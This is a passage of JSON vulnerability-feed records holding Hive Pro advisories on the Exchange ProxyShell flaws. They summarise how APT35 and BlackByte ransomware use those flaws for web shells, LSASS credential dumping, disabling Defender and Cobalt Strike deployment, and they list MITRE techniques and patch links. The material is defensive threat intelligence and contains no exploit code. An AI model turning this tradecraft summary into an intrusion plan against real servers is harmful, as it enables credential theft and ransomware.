"authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-22T14:34:47", "id": "HIVEPRO:F2305684A25C735549865536AA4254BF", "href": "https://www.hivepro.com/hive-ransomware-targets-organizations-with-proxyshell-exploit/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-25T05:32:31", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here APT35 aka Magic Hound, an Iranian-backed threat group, has begun using Microsoft Exchange ProxyShell vulnerabilities as an initial attack vector and to execute code through multiple web shells. The group has primarily targeted organizations in the energy, government, and technology sectors based in the United States, the United Kingdom, Saudi Arabia, and the United Arab Emirates, among other countries. The threat actor exploits the Microsoft Exchange ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to gain initial access to create web shells and disable antivirus services on the victim\u2019s system. To gain persistence in the environment, the threat actor employs both account creation and scheduled tasks. For future re-entry, the account is added to the "remote desktop users" and "local administrator's users" groups. The threat actors use PowerShell to issue multiple commands to disable Windows Defender. Then they create a process memory dump from LSASS.exe that is zipped before exfiltration via web shell. The threat actor uses native Windows programs like "net" and "ipconfig" to enumerate the compromised server. A file masquerading as dllhost.exe is used to access certain domains for command and control. Therefore, data can be exfiltrated by the threat actor which could potentially resulting in information theft and espionage. The Microsoft Exchange ProxyShell vulnerabilities have been fixed in the latest updates from Microsoft. Organizations can patch these vulnerabilities using the patch links given below. The MITRE TTPs commonly used by APT35 are: TA0001: Initial AccessTA0002: ExecutionTA0003: PersistenceTA0004: Privilege EscalationTA0005: Defense EvasionTA0006: Credential AccessTA0007: DiscoveryTA0011: Command and ControlT1190: Exploit Public-Facing ApplicationT1003: OS Credential DumpingT1098: Account ManipulationT1078: Valid AccountsT1105: Ingress Tool TransferT1036: MasqueradingT1036.005: Masquerading: Match Legitimate Name or LocationT1543: Create or Modify System ProcessT1543.003: Create or Modify System Process: Windows ServiceT1505: Server Software ComponentT1505.003: Server Software Component: Web ShellT1082: System Information DiscoveryT1016: System Network Configuration DiscoveryT1033: System Owner/User DiscoveryT1059: Command and Scripting InterpreterT1059.003: Command and Scripting Interpreter: Windows Command Shell Actor Details Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 References https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-25T04:05:09", "type": "hivepro", "title": "Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-25T04:05:09", "id": "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "href": "https://www.hivepro.com/magic-hound-exploiting-old-microsoft-exchange-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-07T15:20:43", "description": "#### THREAT LEVEL: Red.\n\n \n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/12/BlackByte-ransomware-exploits-Microsoft-Servers-ProxyShell-vulnerabilities_TA202155.pdf>)\n\nBlackByte ransomware is targeting organizations with unpatched ProxyShell vulnerabilities. Proxy Shell was addressed by hive pro threat researcher in the previous [advisory](<https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/>) released on August 24.\n\nProxyShell is a combination of three flaws in Microsoft Exchange:\n\nCVE-2021-34473 Pre-auth path confusion vulnerability to bypass access control. \nCVE-2021-34523 Privilege escalation vulnerability in the Exchange PowerShell backend. \nCVE-2021-31207 Post-auth remote code execution via arbitrary file write.\n\nThese security flaws are used together by threat actors to perform unauthenticated, remote code execution on vulnerable servers. After exploiting these vulnerabilities, the threat actors then install web shells, coin miners, ransomwares or backdoors on the servers. Attackers then use this web shell to deploy cobalt strike beacon into Windows Update Agent and get the credentials for a service account on compromised servers. The actor then installs Anydesk to gain control of the system and do lateral movement in the organization network. Post exploitation, attackers carry on with using Cobalt Strike to execute the Blackbyte ransomware and encrypt the data.\n\nAffected organizations can decrypt their files using a free decryption tool written by [Trustwave](<https://github.com/SpiderLabs/BlackByteDecryptor>). Users can patch their server for ProxyShell vulnerabilities using the link down below.\n\n**Techniques used by Blackbyte ransomware are :**\n\nT1505.003 Server Software Component: Web Shell \nT1055 Process Injection \nT1059.001 Command and Scripting Interpreter: PowerShell \nT1595.002 Active Scanning: Vulnerability Scanning \nT1027 Obfuscated Files of Information \nT1490 Inhibit System Recovery \nT1112 Modify Registry \nT1562.001 Impair Defenses: Disable or Modify Tools \nT1562.004 Impair Defenses: Disable or Modify System Firewall \nT1018 Remote System Discovery \nT1016 System Network Configuration Discovery \nT1070.004 Indicator Removal on Host: File Deletion \nT1560.001 Archive Collected Data: Archive via Utility\n\n[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F12%2FMicrosoft-could-not-patch-this-vulnerability-yet-again_TA202153.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\n \n\n#### Vulnerability Details\n\n \n\n![](https://www.hivepro.com/wp-content/uploads/2021/12/Vulnerability-detail-1024x314.png)\n\n \n\n#### Actor Detail\n\n \n\n![](https://www.hivepro.com/wp-content/uploads/2021/12/actor-detail-1024x126.png)\n\n \n\n#### Indicators of Compromise(IoCs)\n\n \